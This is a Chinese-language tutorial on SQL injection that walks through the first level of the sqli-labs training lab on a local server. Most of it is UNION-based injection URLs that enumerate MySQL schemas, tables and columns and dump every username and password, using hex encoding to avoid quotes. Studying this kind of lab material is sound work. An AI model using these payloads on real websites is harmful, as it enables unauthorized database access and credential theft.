SQL注入基础,sqli-labs-master实战演练,number one!

SQL注入基础,sqli-labs-master实战演练,number one!

介绍:什么是SQL注入?

SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
本文以mysql为例,讲解了一些sql注入的常用函数和一些简单的攻击方式,如果你有想学sql注入的话,本文可能会对你有所帮助,文章比较枯燥,大家最好能跟着文章一起敲敲敲,应该会好一些。

sql注入学习的下载链接:
phpstudy2018(需要运行的环境):
链接:https://pan.baidu.com/s/1cwRmFLy76smffXULTkMsJA
提取码:pnw8

sqli-labs-master(含有sql注入65关,更好的帮助您学习sql注入):
链接:https://pan.baidu.com/s/1VsmJMth7_fkV0eo4C6URaw
提取码:lvti

先介绍一下sql基本语句和函数,以mysql为例:
show databases; 查库名
information_schema 存储的库名表名字段名
use information_schema 进入库
show tables;查看所有的表
tables表(存储所有的表的名字)

table_schema 表名所属的数据库的名字
table_name 表名存储在此

columns 所有的字段的名字
columns_name 字段名所在的列
table_name 字段所在的表名
table_schema 字段所属的库名

mysql常用函数与参数
= > >= <= <> 等于 小于 小于等于 大于等于 不等于 比较运算符 eg:select 1<>1;
and or 逻辑运算符 eg:select true and false
select version(); 查看数据库版本
select databases; 当前数据库名
select user(); 用户名
select current_user(); 当前用户名
select system_user(); 系统用户名
select @@datadir; 数据库路径
select @@version_compile_os; 操作系统版本

select length(‘123456’); 返回字符串长度 eg:select length(database()); 查数据库名长度

substring() 截取字符串
substr() eg:select substr(database(),2,1);
mid() 1.截取的字符串 2.截取的起始位置,从1开始计数 3.截取长度

select left(“123456”,n); 从左侧开始取字符,取第n个 eg:select left(database(),5);
select concat(‘a’,‘b’,‘c’); 没有连接符的连接
select concat_ws("-",‘a’,‘b’,‘c’); 有连接符的连接 eg:select concat_ws("-",’-a’,’-c’,’-c’);
select group_concat(id) from cms_article; 把不同记录的内容放在同一个行里
select ord(‘a’); 把字符串变为acsll码
select rand(); 随机浮点数 eg:select left(rand(),3); 取三位数从左到右随机浮点数
select sleep(4); 数据库睡4秒
select if(true,t,f); if判断,如果是true的话执行第二个,是false执行第三个

在sql语句中逻辑运算与and比或or的优先级高。
逻辑运算:select 1=2 and 1=2 or 1=1;

接下来开始咱们的正文,sql注入的学习:

接下来介绍下sql注入查询的基本用法:
查库:select schema_name from information_schema.schemata;
查表: select table_name from information_schema.tables where table_schema=‘security’;
查列: select column_name from information_schema.columns where table_name=‘users’;
查字段: select username,password from security.users;
查id值+字段: select id,username,password from security.users;
(其中select为查询的)

注意事项:
为方便学习sql注入,有必要在sqli-labs代码中加入输出语句,方便学习,具体步骤为,打开第一关目录下的index.php:
SQL注入基础,sqli-labs-master实战演练,number one!

学习了之前的sql注入的基本内容,话不多说,sqli-labs直接开始第一关
输入:http://127.0.0.1/sql/Less-1/?id=1SQL注入基础,sqli-labs-master实战演练,number one!
SQL注入基础,sqli-labs-master实战演练,number one!
输入?id=x,得到相对的账户密码

扩展学习

可利用之前学到的语句和函数进行脱库
①之前知道2,3可回显后,可在2,3输入函数,查看回显
http://127.0.0.1/sql/Less-1/?id=-3’ union select
1,version(),@@version_compile_os–+
SQL注入基础,sqli-labs-master实战演练,number one!

②得到的第一个数据库名
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2,schema_name from information_schema.schemata–+
SQL注入基础,sqli-labs-master实战演练,number one!

③可使用limit 2,1来查第几行的数据
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2,schema_name from information_schema.schemata limit 2,1–+
SQL注入基础,sqli-labs-master实战演练,number one!

④加入group_concat()查到所有行
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(schema_name) from information_schema.schemata --+
SQL注入基础,sqli-labs-master实战演练,number one!

⑤得到数据库的信息,查库里的表
Password:information_schema,challenges,mysql,performance_schema,security,test

输入table_name 和 information_schema.tables where(具体的表) table_schema=‘security’查出表名
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
SQL注入基础,sqli-labs-master实战演练,number one!

⑥需避免使用单引号’,所以需把库名转换为16进制0x7365637572697479=sercurity
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

⑦知道表了,查列column_name,information_schema.columns where table_name=0x7573657273 users=7573657273 拿到第一列的名字
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
SQL注入基础,sqli-labs-master实战演练,number one!

⑧使用group_concat()查询就比较麻烦,要做到又要查username又要查密码
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(password) from security.users–+
SQL注入基础,sqli-labs-master实战演练,number one!

⑨这时候就要用到另一个函数concat_ws(’~’,A,B ),显示方式为 A B,这里避免使用单引号的16进制为7e,故为0x7e,但这时候只显示了一个数据
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, concat_ws(0x7e,username,password) from security.users–+
SQL注入基础,sqli-labs-master实战演练,number one!

⑩这时候可以使用group_concat()将全行显示出来,将全部的账户密码实现出来
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users–+
SQL注入基础,sqli-labs-master实战演练,number one!

总结:

①判断是否存在注入
http://127.0.0.1/sql/Less-1/?id=-3’

②查看多少列
http://127.0.0.1/sql/Less-1/?id=1’ order by 4–+

③查看哪些数据可会回显
http://127.0.0.1/sql/Less-1/?id=-3’ union select 1,2,3–+

④查看当前数据库
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2,schema_name from information_schema.schemata–+

⑤查看所有数据库
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(schema_name) from information_schema.schemata --+

⑥查看所有表
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

⑦查看列信息
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(column_name) from information_schema.columns where
table_name=0x7573657273 --+

⑧知道获取账户和密码用~进行分割 7e=~
http://127.0.0.1/sql/Less-1/
?id=-3’ union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users–+